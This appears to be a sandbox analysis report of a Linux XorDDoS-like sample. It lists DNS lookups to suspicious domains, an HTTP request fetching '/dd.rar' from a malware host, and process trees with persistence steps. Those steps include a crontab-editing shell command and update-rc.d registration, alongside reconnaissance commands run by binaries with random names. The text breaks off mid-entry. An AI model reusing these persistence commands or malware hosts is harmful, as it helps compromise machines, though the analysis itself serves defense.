Mar 14, 2022 21:21:23.704147100 CET	8.8.8.8	192.168.2.23	0x4e42	No error (0)	ppp.xxxatat456.com		54.36.15.98	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:23.704147100 CET	8.8.8.8	192.168.2.23	0x4e42	No error (0)	ppp.xxxatat456.com		79.137.1.134	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:23.704147100 CET	8.8.8.8	192.168.2.23	0x4e42	No error (0)	ppp.xxxatat456.com		46.105.84.190	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:23.704147100 CET	8.8.8.8	192.168.2.23	0x4e42	No error (0)	ppp.xxxatat456.com		54.36.15.96	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:28.727509975 CET	8.8.8.8	192.168.2.23	0x61b9	No error (0)	ppp.gggatat456.com		54.36.145.106	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:28.727509975 CET	8.8.8.8	192.168.2.23	0x61b9	No error (0)	ppp.gggatat456.com		54.36.15.97	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:28.727509975 CET	8.8.8.8	192.168.2.23	0x61b9	No error (0)	ppp.gggatat456.com		176.31.91.137	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:28.727509975 CET	8.8.8.8	192.168.2.23	0x61b9	No error (0)	ppp.gggatat456.com		79.137.1.133	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:28.727509975 CET	8.8.8.8	192.168.2.23	0x61b9	No error (0)	ppp.gggatat456.com		54.36.15.99	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:28.727509975 CET	8.8.8.8	192.168.2.23	0x61b9	No error (0)	ppp.gggatat456.com		54.36.145.104	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:33.788367033 CET	8.8.8.8	192.168.2.23	0x5786	Name error (3)	p5.dddgata789.com	none	none	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:33.807801008 CET	8.8.4.4	192.168.2.23	0xc987	Name error (3)	p5.dddgata789.com	none	none	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:33.826148987 CET	8.8.8.8	192.168.2.23	0xd172	No error (0)	ppp.xxxatat456.com		46.105.84.190	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:33.826148987 CET	8.8.8.8	192.168.2.23	0xd172	No error (0)	ppp.xxxatat456.com		46.105.84.188	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:33.826148987 CET	8.8.8.8	192.168.2.23	0xd172	No error (0)	ppp.xxxatat456.com		79.137.1.134	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:33.826148987 CET	8.8.8.8	192.168.2.23	0xd172	No error (0)	ppp.xxxatat456.com		54.36.15.96	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:33.826148987 CET	8.8.8.8	192.168.2.23	0xd172	No error (0)	ppp.xxxatat456.com		79.137.1.132	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:33.826148987 CET	8.8.8.8	192.168.2.23	0xd172	No error (0)	ppp.xxxatat456.com		54.36.15.98	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:38.848433971 CET	8.8.8.8	192.168.2.23	0xcffc	No error (0)	ppp.gggatat456.com		176.31.91.137	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:38.848433971 CET	8.8.8.8	192.168.2.23	0xcffc	No error (0)	ppp.gggatat456.com		54.36.145.106	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:38.848433971 CET	8.8.8.8	192.168.2.23	0xcffc	No error (0)	ppp.gggatat456.com		54.36.145.104	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:38.848433971 CET	8.8.8.8	192.168.2.23	0xcffc	No error (0)	ppp.gggatat456.com		79.137.1.133	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:38.848433971 CET	8.8.8.8	192.168.2.23	0xcffc	No error (0)	ppp.gggatat456.com		54.36.15.99	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:38.848433971 CET	8.8.8.8	192.168.2.23	0xcffc	No error (0)	ppp.gggatat456.com		54.36.15.97	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:43.909188032 CET	8.8.8.8	192.168.2.23	0x3993	Name error (3)	p5.dddgata789.com	none	none	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:43.926388979 CET	8.8.4.4	192.168.2.23	0x51e0	Name error (3)	p5.dddgata789.com	none	none	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:43.944708109 CET	8.8.8.8	192.168.2.23	0x6b01	No error (0)	ppp.xxxatat456.com		79.137.1.132	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:43.944708109 CET	8.8.8.8	192.168.2.23	0x6b01	No error (0)	ppp.xxxatat456.com		46.105.84.188	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:43.944708109 CET	8.8.8.8	192.168.2.23	0x6b01	No error (0)	ppp.xxxatat456.com		54.36.15.98	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:43.944708109 CET	8.8.8.8	192.168.2.23	0x6b01	No error (0)	ppp.xxxatat456.com		79.137.1.134	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:43.944708109 CET	8.8.8.8	192.168.2.23	0x6b01	No error (0)	ppp.xxxatat456.com		46.105.84.190	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:43.944708109 CET	8.8.8.8	192.168.2.23	0x6b01	No error (0)	ppp.xxxatat456.com		54.36.15.96	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:48.968261957 CET	8.8.8.8	192.168.2.23	0x4c64	No error (0)	ppp.gggatat456.com		54.36.15.99	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:48.968261957 CET	8.8.8.8	192.168.2.23	0x4c64	No error (0)	ppp.gggatat456.com		176.31.91.137	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:48.968261957 CET	8.8.8.8	192.168.2.23	0x4c64	No error (0)	ppp.gggatat456.com		54.36.145.106	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:48.968261957 CET	8.8.8.8	192.168.2.23	0x4c64	No error (0)	ppp.gggatat456.com		79.137.1.133	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:48.968261957 CET	8.8.8.8	192.168.2.23	0x4c64	No error (0)	ppp.gggatat456.com		54.36.145.104	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:48.968261957 CET	8.8.8.8	192.168.2.23	0x4c64	No error (0)	ppp.gggatat456.com		54.36.15.97	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www1.gggatat456.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.23	57652	54.36.15.99	80

Timestamp	kBytes transferred	Direction	Data
Mar 14, 2022 21:21:23.655167103 CET	1	OUT	GET /dd.rar HTTP/1.1 Accept: / Accept-Language: zh-cn User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322) Host: www1.gggatat456.com Connection: Keep-Alive

System Behavior

Analysis Process: 0Xorddos.o PID: 5221, Parent PID: 5119

General

Start time:	21:21:22
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	/tmp/0Xorddos.o
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5222, Parent PID: 5221

General

Start time:	21:21:22
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5223, Parent PID: 5222

General

Start time:	21:21:22
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5224, Parent PID: 5223

General

Start time:	21:21:22
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5225, Parent PID: 5222

General

Start time:	21:21:22
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5226, Parent PID: 5225

General

Start time:	21:21:22
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: update-rc.d PID: 5226, Parent PID: 1860

General

Start time:	21:21:22
Start date:	14/03/2022
Path:	/sbin/update-rc.d
Arguments:	update-rc.d 0Xorddos.o defaults
File size:	3478464 bytes
MD5 hash:	16a21f464119ea7fad1d3660de963637

Chronological Activities

Analysis Process: update-rc.d PID: 5232, Parent PID: 5226

General

Start time:	21:21:22
Start date:	14/03/2022
Path:	/sbin/update-rc.d
Arguments:	n/a
File size:	3478464 bytes
MD5 hash:	16a21f464119ea7fad1d3660de963637

Chronological Activities

Analysis Process: systemctl PID: 5232, Parent PID: 5226

General

Start time:	21:21:22
Start date:	14/03/2022
Path:	/bin/systemctl
Arguments:	systemctl daemon-reload
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5227, Parent PID: 5222

General

Start time:	21:21:22
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: sh PID: 5227, Parent PID: 5222

General

Start time:	21:21:22
Start date:	14/03/2022
Path:	/bin/sh
Arguments:	sh -c "sed -i '/\\/etc\\/cron.hourly\\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5228, Parent PID: 5227

General

Start time:	21:21:22
Start date:	14/03/2022
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sed PID: 5228, Parent PID: 5227

General

Start time:	21:21:22
Start date:	14/03/2022
Path:	/bin/sed
Arguments:	sed -i /\\/etc\\/cron.hourly\\/gcc.sh/d /etc/crontab
File size:	121288 bytes
MD5 hash:	885062561f66aa1d4af4c54b9e7cc81a

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5254, Parent PID: 5222

General

Start time:	21:21:28
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5255, Parent PID: 5254

General

Start time:	21:21:28
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: uqxezzsakx PID: 5255, Parent PID: 5254

General

Start time:	21:21:28
Start date:	14/03/2022
Path:	/usr/bin/uqxezzsakx
Arguments:	/usr/bin/uqxezzsakx pwd 5222
File size:	625911 bytes
MD5 hash:	67365f9c1f2b194742925772fc9232ab

Chronological Activities

Analysis Process: uqxezzsakx PID: 5256, Parent PID: 5255

General

Start time:	21:21:28
Start date:	14/03/2022
Path:	/usr/bin/uqxezzsakx
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	67365f9c1f2b194742925772fc9232ab

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5259, Parent PID: 5222

General

Start time:	21:21:28
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5260, Parent PID: 5259

General

Start time:	21:21:28
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: uqxezzsakx PID: 5260, Parent PID: 5259

General

Start time:	21:21:28
Start date:	14/03/2022
Path:	/usr/bin/uqxezzsakx
Arguments:	/usr/bin/uqxezzsakx "echo \"find\"" 5222
File size:	625911 bytes
MD5 hash:	67365f9c1f2b194742925772fc9232ab

Chronological Activities

Analysis Process: uqxezzsakx PID: 5263, Parent PID: 5260

General

Start time:	21:21:28
Start date:	14/03/2022
Path:	/usr/bin/uqxezzsakx
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	67365f9c1f2b194742925772fc9232ab

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5261, Parent PID: 5222

General

Start time:	21:21:28
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5262, Parent PID: 5261

General

Start time:	21:21:28
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: uqxezzsakx PID: 5262, Parent PID: 5261

General

Start time:	21:21:29
Start date:	14/03/2022
Path:	/usr/bin/uqxezzsakx
Arguments:	/usr/bin/uqxezzsakx "netstat -antop" 5222
File size:	625911 bytes
MD5 hash:	67365f9c1f2b194742925772fc9232ab

Chronological Activities

Analysis Process: uqxezzsakx PID: 5266, Parent PID: 5262

General

Start time:	21:21:29
Start date:	14/03/2022
Path:	/usr/bin/uqxezzsakx
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	67365f9c1f2b194742925772fc9232ab

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5264, Parent PID: 5222

General

Start time:	21:21:29
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5265, Parent PID: 5264

General

Start time:	21:21:29
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: uqxezzsakx PID: 5265, Parent PID: 5264

General

Start time:	21:21:29
Start date:	14/03/2022
Path:	/usr/bin/uqxezzsakx
Arguments:	/usr/bin/uqxezzsakx sh 5222
File size:	625911 bytes
MD5 hash:	67365f9c1f2b194742925772fc9232ab

Chronological Activities

Analysis Process: uqxezzsakx PID: 5269, Parent PID: 5265

General

Start time:	21:21:29
Start date:	14/03/2022
Path:	/usr/bin/uqxezzsakx
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	67365f9c1f2b194742925772fc9232ab

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5267, Parent PID: 5222

General

Start time:	21:21:29
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5268, Parent PID: 5267

General

Start time:	21:21:29
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: uqxezzsakx PID: 5268, Parent PID: 5267

General

Start time:	21:21:29
Start date:	14/03/2022
Path:	/usr/bin/uqxezzsakx
Arguments:	/usr/bin/uqxezzsakx "sleep 1" 5222
File size:	625911 bytes
MD5 hash:	67365f9c1f2b194742925772fc9232ab

Chronological Activities

Analysis Process: uqxezzsakx PID: 5270, Parent PID: 5268

General

Start time:	21:21:29
Start date:	14/03/2022
Path:	/usr/bin/uqxezzsakx
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	67365f9c1f2b194742925772fc9232ab

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5273, Parent PID: 5222

General

Start time:	21:21:34
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5274, Parent PID: 5273

General

Start time:	21:21:34
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: cukrqcagnz PID: 5274, Parent PID: 5273

General

Start time:	21:21:34
Start date:	14/03/2022
Path:	/usr/bin/cukrqcagnz
Arguments:	/usr/bin/cukrqcagnz who 5222
File size:	625911 bytes
MD5 hash:	c8d0992125712b7648ce9d7c261decea

Chronological Activities

Analysis Process: cukrqcagnz PID: 5275, Parent PID: 5274

General

Start time:	21:21:34
Start date:	14/03/2022
Path:	/usr/bin/cukrqcagnz
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	c8d0992125712b7648ce9d7c261decea

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5276, Parent PID: 5222

General

Start time:	21:21:34
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5277, Parent PID: 5276

General

Start time:	21:21:34
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: cukrqcagnz PID: 5277, Parent PID: 5276

General

Start time:	21:21:34
Start date:	14/03/2022
Path:	/usr/bin/cukrqcagnz
Arguments:	/usr/bin/cukrqcagnz "ifconfig eth0" 5222
File size:	625911 bytes
MD5 hash:	c8d0992125712b7648ce9d7c261decea

Chronological Activities

Analysis Process: cukrqcagnz PID: 5278, Parent PID: 5277

General

Start time:	21:21:34
Start date:	14/03/2022
Path:	/usr/bin/cukrqcagnz
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	c8d0992125712b7648ce9d7c261decea

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5279, Parent PID: 5222

General

Start time:	21:21:34
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5280, Parent PID: 5279

General

Start time:	21:21:34
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: cukrqcagnz PID: 5280, Parent PID: 5279

General

Start time:	21:21:34
Start date:	14/03/2022
Path:	/usr/bin/cukrqcagnz
Arguments:	/usr/bin/cukrqcagnz "netstat -antop" 5222
File size:	625911 bytes
MD5 hash:	c8d0992125712b7648ce9d7c261decea

Chronological Activities

Analysis Process: cukrqcagnz PID: 5283, Parent PID: 5280

General

Start time:	21:21:34
Start date:	14/03/2022
Path:	/usr/bin/cukrqcagnz
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	c8d0992125712b7648ce9d7c261decea

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5281, Parent PID: 5222

General

Start time:	21:21:34
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5282, Parent PID: 5281

General

Start time:	21:21:34
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: cukrqcagnz PID: 5282, Parent PID: 5281

General

Start time:	21:21:34
Start date:	14/03/2022
Path:	/usr/bin/cukrqcagnz
Arguments:	/usr/bin/cukrqcagnz pwd 5222
File size:	625911 bytes
MD5 hash:	c8d0992125712b7648ce9d7c261decea

Chronological Activities

Analysis Process: cukrqcagnz PID: 5286, Parent PID: 5282

General

Start time:	21:21:35
Start date:	14/03/2022
Path:	/usr/bin/cukrqcagnz
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	c8d0992125712b7648ce9d7c261decea

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5284, Parent PID: 5222

General

Start time:	21:21:35
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5285, Parent PID: 5284

General

Start time:	21:21:35
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: cukrqcagnz PID: 5285, Parent PID: 5284

General

Start time:	21:21:35
Start date:	14/03/2022
Path:	/usr/bin/cukrqcagnz
Arguments:	/usr/bin/cukrqcagnz "sleep 1" 5222
File size:	625911 bytes
MD5 hash:	c8d0992125712b7648ce9d7c261decea

Chronological Activities

Analysis Process: cukrqcagnz PID: 5287, Parent PID: 5285

General

Start time:	21:21:35
Start date:	14/03/2022
Path:	/usr/bin/cukrqcagnz
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	c8d0992125712b7648ce9d7c261decea

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5291, Parent PID: 5222

General

Start time:	21:21:40
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5292, Parent PID: 5291

General

Start time:	21:21:40
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: ysrkbnorkl PID: 5292, Parent PID: 5291

General

Start time:	21:21:40
Start date:	14/03/2022
Path:	/usr/bin/ysrkbnorkl
Arguments:	/usr/bin/ysrkbnorkl gnome-terminal 5222
File size:	625911 bytes
MD5 hash:	4d2e235cead4f0439bc635f5a18f4bf4

Chronological Activities

Analysis Process: ysrkbnorkl PID: 5293, Parent PID: 5292

General

Start time:	21:21:40
Start date:	14/03/2022
Path:	/usr/bin/ysrkbnorkl
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	4d2e235cead4f0439bc635f5a18f4bf4

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5294, Parent PID: 5222

General

Start time:	21:21:40
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5295, Parent PID: 5294

General

Start time:	21:21:40
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: ysrkbnorkl PID: 5295, Parent PID: 5294

General

Start time:	21:21:40
Start date:	14/03/2022
Path:	/usr/bin/ysrkbnorkl
Arguments:	/usr/bin/ysrkbnorkl "ps -ef" 5222
File size:	625911 bytes
MD5 hash:	4d2e235cead4f0439bc635f5a18f4bf4

Chronological Activities

Analysis Process: ysrkbnorkl PID: 5298, Parent PID: 5295

General

Start time:	21:21:41
Start date:	14/03/2022
Path:	/usr/bin/ysrkbnorkl
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	4d2e235cead4f0439bc635f5a18f4bf4

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5296, Parent PID: 5222

General

Start time:	21:21:40
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5297, Parent PID: 5296

General

Start time:	21:21:40
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: ysrkbnorkl PID: 5297, Parent PID: 5296

General

Start time:	21:21:40
Start date:	14/03/2022
Path:	/usr/bin/ysrkbnorkl
Arguments:	/usr/bin/ysrkbnorkl "echo \"find\"" 5222
File size:	625911 bytes
MD5 hash:	4d2e235cead4f0439bc635f5a18f4bf4

Chronological Activities

Analysis Process: ysrkbnorkl PID: 5301, Parent PID: 5297

General

Start time:	21:21:41
Start date:	14/03/2022
Path:	/usr/bin/ysrkbnorkl
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	4d2e235cead4f0439bc635f5a18f4bf4

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5299, Parent PID: 5222

General

Start time:	21:21:41
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5300, Parent PID: 5299

General

Start time:	21:21:41
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: ysrkbnorkl PID: 5300, Parent PID: 5299

General

Start time:	21:21:41
Start date:	14/03/2022
Path:	/usr/bin/ysrkbnorkl
Arguments:	/usr/bin/ysrkbnorkl "ifconfig eth0" 5222
File size:	625911 bytes
MD5 hash:	4d2e235cead4f0439bc635f5a18f4bf4

Chronological Activities

Analysis Process: ysrkbnorkl PID: 5304, Parent PID: 5300

General

Start time:	21:21:41
Start date:	14/03/2022
Path:	/usr/bin/ysrkbnorkl
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	4d2e235cead4f0439bc635f5a18f4bf4

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5302, Parent PID: 5222

General

Start time:	21:21:41
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5303, Parent PID: 5302

General

Start time:	21:21:41
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: ysrkbnorkl PID: 5303, Parent PID: 5302

General

Start time:	21:21:41
Start date:	14/03/2022
Path:	/usr/bin/ysrkbnorkl
Arguments:	/usr/bin/ysrkbnorkl ifconfig 5222
File size:	625911 bytes
MD5 hash:	4d2e235cead4f0439bc635f5a18f4bf4

Chronological Activities

Analysis Process: ysrkbnorkl PID: 5305, Parent PID: 5303

General

Start time:	21:21:42
Start date:	14/03/2022
Path:	/usr/bin/ysrkbnorkl
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	4d2e235cead4f0439bc635f5a18f4bf4

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5308, Parent PID: 5222

General

Start time:	21:21:46
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5309, Parent PID: 5308

General

Start time:	21:21:46
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: zareoppgxh PID: 5309, Parent PID: 5308

General

Start time:	21:21:46
Start date:	14/03/2022
Path:	/usr/bin/zareoppgxh
Arguments:	/usr/bin/zareoppgxh bash 5222
File size:	625911 bytes
MD5 hash:	8bd739bbc978f1311f3459fae05bbefd

Chronological Activities

Analysis Process: zareoppgxh PID: 5310, Parent PID: 5309

General

Start time:	21:21:46
Start date:	14/03/2022
Path:	/usr/bin/zareoppgxh
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	8bd739bbc978f1311f3459fae05bbefd

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5311, Parent PID: 5222

General

Start time:	21:21:46
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5312, Parent PID: 5311

General

Start time:	21:21:46
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: zareoppgxh PID: 5312, Parent PID: 5311

General

Start time:	21:21:46
Start date:	14/03/2022
Path:	/usr/bin/zareoppgxh
Arguments:	/usr/bin/zareoppgxh "ps -ef" 5222
File size:	625911 bytes
MD5 hash:	8bd739bbc978f1311f3459fae05bbefd

Chronological Activities

Analysis Process: zareoppgxh PID: 5315, Parent PID: 5312

General

Start time:	21:21:46
Start date:	14/03/2022
Path:	/usr/bin/zareoppgxh
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	8bd739bbc978f1311f3459fae05bbefd

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5313, Parent PID: 5222

General

Start time:	21:21:46
Start date:	14/03/2022
